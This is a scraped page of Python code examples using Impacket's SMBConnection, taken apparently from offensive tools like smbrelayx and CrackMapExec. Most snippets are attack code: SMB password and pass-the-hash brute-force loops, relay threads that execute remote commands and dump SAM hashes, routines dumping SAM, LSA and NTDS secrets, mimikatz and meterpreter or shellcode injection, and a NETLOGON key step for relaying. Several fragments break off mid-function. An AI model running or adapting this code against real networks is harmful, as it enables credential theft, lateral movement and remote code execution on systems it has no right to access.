Ejemplo n.º 1
0
    def login(self, ipaddress, port, user_passwd_pair_list):
        for user_passwd_pair in user_passwd_pair_list:
            try:
                fp = SMBConnection('*SMBSERVER', ipaddress, sess_port=int(port), timeout=self.timeout)
            except Exception as E:
                logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port))
                return
            try:
                if "\\" in user_passwd_pair[0]:
                    domain = user_passwd_pair[0].split("\\")[0]
                    username = user_passwd_pair[0].split("\\")[1]
                else:
                    domain = ""
                    username = user_passwd_pair[0]

                if fp.login(username, user_passwd_pair[1], domain=domain):
                    if fp.isGuestSession() == 0:
                        if domain == "":
                            log_success("SMB", ipaddress, port, user_passwd_pair)
                        else:
                            log_success("SMB", ipaddress, port,
                                        ["{}\\{}".format(domain, username), user_passwd_pair[1]])

            except Exception as E:
                logger.debug('AuthenticationException: %s' % E)
            finally:
                fp.getSMBServer().get_socket().close()
Ejemplo n.º 2
0
class SMBAttack(Thread):
    def __init__(self, config, SMBClient, exeFile, command):
        Thread.__init__(self)
        self.daemon = True
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.config = config
        self.__exeFile = exeFile
        self.__command = command
        self.__answerTMP = ''
        if exeFile is not None:
            self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.__exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something wen't wrong, most probably we don't have access as admin. aborting
                logging.error(str(e))
                return

            try:
                if self.__command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.__command)
                    logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
            finally:
Ejemplo n.º 3
0
    def login_with_hash(self, ipaddress, port, hashes):

        user_hash_pair_list = []
        for hash in hashes:
            user_hash_pair_list.append(hash.strip().split(","))

        for user_hash_pair in user_hash_pair_list:
            try:
                fp = SMBConnection('*SMBSERVER', ipaddress, sess_port=int(port), timeout=self.timeout)
            except Exception as E:
                logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port))
                return
            try:
                if fp.login(user_hash_pair[1], "",
                            domain=user_hash_pair[0],
                            lmhash=user_hash_pair[2].split(":")[0],
                            nthash=user_hash_pair[2].split(":")[1]):
                    if fp.isGuestSession() == 0:
                        log_success("SMB", ipaddress, port, [
                            "{}/{}".format(user_hash_pair[0], user_hash_pair[1]),
                            user_hash_pair[2]
                        ])

            except Exception as E:
                logger.debug('AuthenticationException: %s' % E)
            finally:
                fp.getSMBServer().get_socket().close()
Ejemplo n.º 4
0
class doAttack(Thread):
    def __init__(self, SMBClient, exeFile, command):
        Thread.__init__(self)

        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
        else:
            self.__SMBConnection = SMBClient

        self.__exeFile = exeFile
        self.__command = command
        self.__answerTMP = ''
        if exeFile is not None:
            self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.__exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something wen't wrong, most probably we don't have access as admin. aborting
                logging.error(str(e))
                return

            try:
                if self.__command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.__command)
                    logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    print self.__answerTMP
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
            finally:
Ejemplo n.º 5
0
    def login(self, ipaddress, port, user_passwd_pair_list):
        for user_passwd_pair in user_passwd_pair_list:
            try:
                fp = SMBConnection('*SMBSERVER', ipaddress, sess_port=int(port), timeout=self.timeout)
            except Exception as E:
                logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port))
                return
            try:
                if fp.login(user_passwd_pair[0], user_passwd_pair[1], ""):
                    if fp.isGuestSession() == 0:
                        log_success("SMB", ipaddress, port, user_passwd_pair)

            except Exception as E:
                logger.debug('AuthenticationException: %s' % E)
            finally:
                fp.getSMBServer().get_socket().close()
Ejemplo n.º 6
0
def secretsdump(session):
    session.lock.acquire()

    logging.debug("secretsdump acquired session lock")

    samHashes = None
    try:
        connection = SMBConnection(existingConnection=session)
        flags1, flags2 = connection.getSMBServer().get_flags()
        flags2 |= SMB.FLAGS2_LONG_NAMES
        connection.getSMBServer().set_flags(flags2=flags2)

        remoteOps = RemoteOperations(connection, False)
        remoteOps.enableRegistry()
    except Exception, e:
        logging.error(str(e))
        return
Ejemplo n.º 7
0
class doAttack():
    # class doAttack(Thread):

    def __init__(self, SMBClient, command):
        # Thread.__init__(self)

        self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        self.__command = command
        self.__answerTMP = ''

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        samHashes = None
        try:
            # We have to add some flags just in case the original client did not
            # Why? needed for avoiding INVALID_PARAMETER
            flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
            flags2 |= SMB.FLAGS2_LONG_NAMES
            self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

            remoteOps = RemoteOperations(self.__SMBConnection, False)
            remoteOps.enableRegistry()
        except Exception as e:
            # Something wen't wrong, most probably we don't have access as admin. aborting
            print(str(e))
            return False

        try:
            remoteOps._RemoteOperations__executeRemote(self.__command)
            # print("Executed specified command on host: %s" % self.__SMBConnection.getRemoteHost())
            self.__answerTMP = ''
            self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output',
                                         self.__answer)
            self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')

        except Exception as e:
            print(str(e))
            self.__answerTMP = 'ERROR'
        finally:
            if remoteOps is not None:
                remoteOps.finish()

        return self.__answerTMP
Ejemplo n.º 8
0
class doAttack(Thread):
    def __init__(self, SMBClient, exeFile):
        Thread.__init__(self)

        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient

        self.__exeFile = exeFile
        if exeFile is not None:
            self.installService = serviceinstall.ServiceInstall(
                SMBClient, exeFile)

    def run(self):
        # Here PUT YOUR CODE!
        if self.__exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            remoteOps = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags(
                )
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
                bootKey = remoteOps.getBootKey()
                samFileName = remoteOps.saveSAM()
                samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
                samHashes.dump()
                logging.info("Done dumping SAM hashes for host: %s",
                             self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
            finally:
Ejemplo n.º 9
0
class doAttack(Thread):
    def __init__(self, SMBClient, exeFile):
        Thread.__init__(self)

        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
        else:
            self.__SMBConnection = SMBClient

        self.__exeFile = exeFile
        if exeFile is not None:
            self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)


    def run(self):
        # Here PUT YOUR CODE!
        if self.__exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            remoteOps = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
                bootKey = remoteOps.getBootKey()
                samFileName = remoteOps.saveSAM()
                samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                samHashes.dump()
                logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
            finally:
Ejemplo n.º 10
0
class doAttack():
# class doAttack(Thread):

	def __init__(self, SMBClient, command):
		# Thread.__init__(self)
		
		self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
		self.__command = command
		self.__answerTMP = ''

	def __answer(self, data):
		self.__answerTMP += data

	def run(self):
		samHashes = None
		try:
			# We have to add some flags just in case the original client did not
			# Why? needed for avoiding INVALID_PARAMETER
			flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
			flags2 |= SMB.FLAGS2_LONG_NAMES
			self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

			remoteOps  = RemoteOperations(self.__SMBConnection, False)
			remoteOps.enableRegistry()
		except Exception, e:
			# Something wen't wrong, most probably we don't have access as admin. aborting
			print str(e)
			return False

		try:
			remoteOps._RemoteOperations__executeRemote(self.__command)
			# print "Executed specified command on host: %s" % self.__SMBConnection.getRemoteHost()
			self.__answerTMP = ''
			self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
			self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')

		except Exception, e:
			print str(e)
			self.__answerTMP = 'ERROR'
Ejemplo n.º 11
0
def main_greenlet(host):

    try:
        smb = SMBConnection(host, host, None, settings.args.port)
        #Get our IP from the socket
        local_ip = smb.getSMBServer().get_socket().getsockname()[0]
        try:
            smb.login('', '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        cme_logger = CMEAdapter(
            logging.getLogger('CME'), {
                'host': host,
                'hostname': s_name,
                'port': settings.args.port,
                'service': 'SMB'
            })

        cme_logger.info(u"{} (name:{}) (domain:{})".format(
            smb.getServerOS(), s_name, domain))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            pass

        if settings.args.mssql:
            cme_logger = CMEAdapter(
                logging.getLogger('CME'), {
                    'host': host,
                    'hostname': s_name,
                    'port': settings.args.mssql_port,
                    'service': 'MSSQL'
                })

            #try:
            ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
            ms_sql.connect()

            instances = ms_sql.getInstances(5)
            cme_logger.info("Found {} MSSQL instance(s)".format(
                len(instances)))
            for i, instance in enumerate(instances):
                cme_logger.results("Instance {}".format(i))
                for key in instance.keys():
                    cme_logger.results(key + ":" + instance[key])

            try:
                ms_sql.disconnect()
            except:
                pass

            #except socket.error as e:
            #    if settings.args.verbose: mssql_cme_logger.error(str(e))

        if (settings.args.user and
            (settings.args.passwd
             or settings.args.hash)) or settings.args.combo_file:

            ms_sql = None
            smb = None

            if settings.args.mssql:
                ms_sql = tds.MSSQL(host, int(settings.args.mssql_port),
                                   cme_logger)
                ms_sql.connect()
                ms_sql, user, passwd, ntlm_hash, domain = smart_login(
                    host, domain, ms_sql, cme_logger)
                sql_shell = SQLSHELL(ms_sql, cme_logger)
            else:
                smb = SMBConnection(host, host, None, settings.args.port)
                smb, user, passwd, ntlm_hash, domain = smart_login(
                    host, domain, smb, cme_logger)

            if ms_sql:
                connection = ms_sql
                if settings.args.mssql_query:
                    sql_shell.onecmd(settings.args.mssql_query)

            if smb:
                connection = smb
                if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                    rfs = RemoteFileSystem(host, smb, cme_logger)
                    if settings.args.delete:
                        rfs.delete()
                    if settings.args.download:
                        rfs.download()
                    if settings.args.upload:
                        rfs.upload()
                    if settings.args.list:
                        rfs.list()

                if settings.args.enum_shares:
                    shares = SHAREDUMP(smb, cme_logger)
                    shares.dump(host)

                if settings.args.enum_users:
                    users = SAMRDump(cme_logger,
                                     '{}/SMB'.format(settings.args.port), user,
                                     passwd, domain, ntlm_hash,
                                     settings.args.aesKey, settings.args.kerb)
                    users.dump(host)

                if settings.args.sam or settings.args.lsa or settings.args.ntds:
                    dumper = DumpSecrets(cme_logger, 'logs/{}'.format(host),
                                         smb, settings.args.kerb)

                    dumper.do_remote_ops()
                    if settings.args.sam:
                        dumper.dump_SAM()
                    if settings.args.lsa:
                        dumper.dump_LSA()
                    if settings.args.ntds:
                        dumper.dump_NTDS(settings.args.ntds,
                                         settings.args.ntds_history,
                                         settings.args.ntds_pwdLastSet)
                    dumper.cleanup()

                if settings.args.pass_pol:
                    pass_pol = PassPolDump(cme_logger,
                                           '{}/SMB'.format(settings.args.port),
                                           user, passwd, domain, ntlm_hash,
                                           settings.args.aesKey,
                                           settings.args.kerb)
                    pass_pol.dump(host)

                if settings.args.rid_brute:
                    lookup = LSALookupSid(cme_logger, user, passwd, domain,
                                          '{}/SMB'.format(settings.args.port),
                                          ntlm_hash, settings.args.rid_brute)
                    lookup.dump(host)

                if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                    rpc_query = RPCQUERY(cme_logger, user, passwd, domain,
                                         ntlm_hash)

                    if settings.args.enum_sessions:
                        rpc_query.enum_sessions(host)
                    if settings.args.enum_disks:
                        rpc_query.enum_disks(host)
                    if settings.args.enum_lusers:
                        rpc_query.enum_lusers(host)

                if settings.args.spider:
                    smb_spider = SMBSPIDER(cme_logger, host, smb)
                    smb_spider.spider(settings.args.spider,
                                      settings.args.depth)
                    smb_spider.finish()

                if settings.args.wmi_query:
                    wmi_query = WMIQUERY(cme_logger, user, domain, passwd,
                                         ntlm_hash, settings.args.kerb,
                                         settings.args.aesKey)

                    wmi_query.run(settings.args.wmi_query, host,
                                  settings.args.namespace)

                if settings.args.check_uac:
                    uac = UACdump(cme_logger, smb, settings.args.kerb)
                    uac.run()

                if settings.args.enable_wdigest or settings.args.disable_wdigest:
                    wdigest = WdisgestEnable(cme_logger, smb,
                                             settings.args.kerb)
                    if settings.args.enable_wdigest:
                        wdigest.enable()
                    elif settings.args.disable_wdigest:
                        wdigest.disable()

                if settings.args.service:
                    service_control = SVCCTL(
                        cme_logger, user, passwd, domain,
                        '{}/SMB'.format(settings.args.port),
                        settings.args.service, settings.args.aesKey,
                        settings.args.kerb, ntlm_hash, settings.args)
                    service_control.run(host)

            if settings.args.command:
                EXECUTOR(cme_logger, settings.args.command, host, domain,
                         settings.args.no_output, connection,
                         settings.args.execm, user, passwd, ntlm_hash)

            if settings.args.pscommand:
                EXECUTOR(
                    cme_logger,
                    ps_command(settings.args.pscommand, settings.args.ps_arch),
                    host, domain, settings.args.no_output, connection,
                    settings.args.execm, user, passwd, ntlm_hash)

            if settings.args.mimikatz:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, powah_command.mimikatz(), host, domain,
                         True, connection, settings.args.execm, user, passwd,
                         ntlm_hash)

            if settings.args.gpp_passwords:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, powah_command.gpp_passwords(), host,
                         domain, True, connection, settings.args.execm, user,
                         passwd, ntlm_hash)

            if settings.args.mimikatz_cmd:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger,
                         powah_command.mimikatz(settings.args.mimikatz_cmd),
                         host, domain, True, connection, settings.args.execm,
                         user, passwd, ntlm_hash)

            if settings.args.powerview:
                #For some reason powerview functions only seem to work when using smbexec...
                #I think we might have a mistery on our hands boys and girls!
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger,
                         powah_command.powerview(settings.args.powerview),
                         host, domain, True, connection, 'smbexec', user,
                         passwd, ntlm_hash)

            if settings.args.tokens:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, powah_command.token_enum(), host, domain,
                         True, connection, settings.args.execm, user, passwd,
                         ntlm_hash)

            if settings.args.inject:
                powah_command = PowerShell(settings.args.server, local_ip)
                if settings.args.inject.startswith('met_'):
                    EXECUTOR(cme_logger, powah_command.inject_meterpreter(),
                             host, domain, True, connection,
                             settings.args.execm, user, passwd, ntlm_hash)

                if settings.args.inject == 'shellcode':
                    EXECUTOR(cme_logger, powah_command.inject_shellcode(),
                             host, domain, True, connection,
                             settings.args.execm, user, passwd, ntlm_hash)

                if settings.args.inject == 'dll' or settings.args.inject == 'exe':
                    EXECUTOR(cme_logger, powah_command.inject_exe_dll(), host,
                             domain, True, connection, settings.args.execm,
                             user, passwd, ntlm_hash)

        try:
            smb.logoff()
        except:
            pass

        try:
            ms_sql.disconnect()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port,
                                                     e))
        if settings.args.verbose: traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port,
                                                    e))
        if settings.args.verbose: traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose: print_error(str(e))
        return
Ejemplo n.º 12
0
def connector(target, args, db, module, context, cmeserver):

    try:

        smb = SMBConnection(target, target, None, args.smb_port)

        #Get our IP from the socket
        local_ip = smb.getSMBServer().get_socket().getsockname()[0]

        #Get the remote ip address (in case the target is a hostname) 
        remote_ip = smb.getRemoteHost()

        try:
            smb.login('' , '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain     = smb.getServerDomain()
        servername = smb.getServerName()
        serveros   = smb.getServerOS()

        if not domain:
            domain = servername

        db.add_host(remote_ip, servername, domain, serveros)

        logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)})

        logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername.decode('utf-8'), domain.decode('utf-8')))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            pass

        if args.mssql:
            instances = None
            logger.extra['port'] = args.mssql_port
            ms_sql = tds.MSSQL(target, args.mssql_port, logger)
            ms_sql.connect()

            instances = ms_sql.getInstances(10)
            if len(instances) > 0:
                logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                for i, instance in enumerate(instances):
                    logger.highlight("Instance {}".format(i))
                    for key in instance.keys():
                        logger.highlight(key + ":" + instance[key])

            try:
                ms_sql.disconnect()
            except:
                pass

        if args.username and (args.password or args.hash):
            conn = None

            if args.mssql and (instances is not None and len(instances) > 0):
                conn = tds.MSSQL(target, args.mssql_port, logger)
                conn.connect()
            elif not args.mssql:
                conn = SMBConnection(target, target, None, args.smb_port)

            if conn is None:
                return

            if args.domain:
                domain = args.domain

            connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver)

            if (connection.password is not None or connection.hash is not None) and connection.username is not None:
                if module is not None:

                    module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername})
                    context = Context(db, module_logger, args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if hasattr(module, 'on_login'):
                        module.on_login(context, connection)

                    if hasattr(module, 'on_admin_login') and connection.admin_privs:
                        module.on_admin_login(context, connection)
                else:
                    if connection.admin_privs and (args.pscommand or args.command):

                        get_output = True if args.no_output is False else False
                        if args.mssql: args.exec_method = 'mssqlexec'

                        if args.command:
                            output = connection.execute(args.command, get_output=get_output)

                        if args.pscommand:
                            output = connection.execute(create_ps_command(args.pscommand), get_output=get_output)

                        logger.success('Executed command {}'.format('via {}'.format(args.exec_method) if args.exec_method else ''))
                        buf = StringIO(output).readlines()
                        for line in buf:
                            logger.highlight(line.strip())

                    if args.mssql and args.mssql_query:
                        conn.sql_query(args.mssql_query)
                        query_output = conn.printRows()
                        
                        logger.success('Executed MSSQL query')
                        buf = StringIO(query_output).readlines()
                        for line in buf:
                            logger.highlight(line.strip())

                    elif not args.mssql:

                        if connection.admin_privs and (args.sam or args.lsa or args.ntds):
                            secrets_dump = DumpSecrets(connection, logger)

                            if args.sam:
                                secrets_dump.SAM_dump()

                            if args.lsa:
                                secrets_dump.LSA_dump()

                            if args.ntds:
                                secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history)

                        if connection.admin_privs and args.wdigest:
                            w_digest = WDIGEST(logger, connection.conn)

                            if args.wdigest == 'enable':
                                w_digest.enable()

                            elif args.wdigest == 'disable':
                                w_digest.disable()

                        if connection.admin_privs and args.uac:
                            UAC(connection.conn, logger).enum()

                        if args.spider:
                            spider = SMBSpider(logger, connection, args)
                            spider.spider(args.spider, args.depth)
                            spider.finish()

                        if args.enum_shares:
                            ShareEnum(connection.conn, logger).enum()

                        if args.enum_lusers or args.enum_disks or args.enum_sessions:
                            rpc_connection = RPCQUERY(connection, logger)

                            if args.enum_lusers:
                                rpc_connection.enum_lusers()

                            if args.enum_sessions:
                                rpc_connection.enum_sessions()

                            if args.enum_disks:
                                rpc_connection.enum_disks()

                        if args.pass_pol:
                            PassPolDump(logger, args.smb_port, connection).enum()

                        if args.enum_users:
                            SAMRDump(logger, args.smb_port, connection).enum()

                        if connection.admin_privs and args.wmi_query:
                            WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query)

                        if args.rid_brute:
                            LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force()

    except socket.error:
        return
Ejemplo n.º 13
0
class SMBRelayClient(ProtocolClient):
    PLUGIN_NAME = "SMB"

    def __init__(self,
                 serverConfig,
                 target,
                 targetPort=445,
                 extendedSecurity=True):
        ProtocolClient.__init__(self, serverConfig, target, targetPort,
                                extendedSecurity)
        self.extendedSecurity = extendedSecurity

        self.machineAccount = None
        self.machineHashes = None
        self.sessionData = {}

        self.negotiateMessage = None
        self.challengeMessage = None
        self.serverChallenge = None

        self.keepAliveHits = 1

    def netlogonSessionKey(self, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        logging.info("Connecting to %s NETLOGON service" %
                     self.serverConfig.domainIp)

        #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = NTLMAuthChallengeResponse()
        authenticateMessage.fromString(authenticateMessageBlob)
        _, machineAccount = self.serverConfig.machineAccount.split('/')
        domainName = authenticateMessage['domain_name'].decode('utf-16le')

        try:
            serverName = machineAccount[:len(machineAccount) - 1]
        except:
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if len(self.serverConfig.machineHashes) > 0:
            lmhash, nthash = self.serverConfig.machineHashes.split(':')
        else:
            lmhash = ''
            nthash = ''

        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(machineAccount, '', domainName,
                                         lmhash, nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00',
                                            b'12345678')

        serverChallenge = resp['ServerChallenge']

        if self.serverConfig.machineHashes == '':
            ntHash = None
        else:
            ntHash = bytes.fromhex(
                self.serverConfig.machineHashes.split(':')[1])

        sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678',
                                                     serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)

        nrpc.hNetrServerAuthenticate3(
            dce, NULL, machineAccount + '\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
            serverName + '\x00', ppp, 0x600FFFFF)

        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = serverName + '\x00'
        request[
            'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request[
            'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation'][
            'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'LogonDomainName'] = domainName
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'ParameterControl'] = 0
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'UserName'] = authenticateMessage['user_name'].decode('utf-16le')
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'Workstation'] = ''
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallenge'] = self.serverChallenge
        request['LogonInformation']['LogonNetworkTransitive'][
            'NtChallengeResponse'] = authenticateMessage['ntlm']
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallengeResponse'] = authenticateMessage['lanman']

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = nrpc.ComputeNetlogonCredential(
            clientStoredCredential, sessionKey)
        authenticator['Timestamp'] = 10

        request['Authenticator'] = authenticator
        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        # request.dump()
        try:
            resp = dce.request(request)
            # resp.dump()
        except DCERPCException as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
            return e.get_error_code()

        logging.info(
            "%s\\%s successfully validated through NETLOGON" %
            (domainName, authenticateMessage['user_name'].decode('utf-16le')))

        encryptedSessionKey = authenticateMessage['session_key']
        if encryptedSessionKey != b'':
            signingKey = generateEncryptedSessionKey(
                resp['ValidationInformation']['ValidationSam4']
                ['UserSessionKey'], encryptedSessionKey)
        else:
            signingKey = resp['ValidationInformation']['ValidationSam4'][
                'UserSessionKey']

        logging.info("SMB Signing key: %s " % signingKey.hex())

        return STATUS_SUCCESS, signingKey

    def keepAlive(self):
        # SMB Keep Alive more or less every 5 minutes
        if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
            # Time to send a packet
            # Just a tree connect / disconnect to avoid the session timeout
            tid = self.session.connectTree('IPC$')
            self.session.disconnectTree(tid)
            self.keepAliveHits = 1
        else:
            self.keepAliveHits += 1

    def killConnection(self):
        if self.session is not None:
            self.session.close()
            self.session = None

    def initConnection(self):
        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     manualNegotiate=True)
        #,preferredDialect=SMB_DIALECT)
        if self.serverConfig.smb2support is True:
            data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
        else:
            data = '\x02NT LM 0.12\x00'

        if self.extendedSecurity is True:
            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        else:
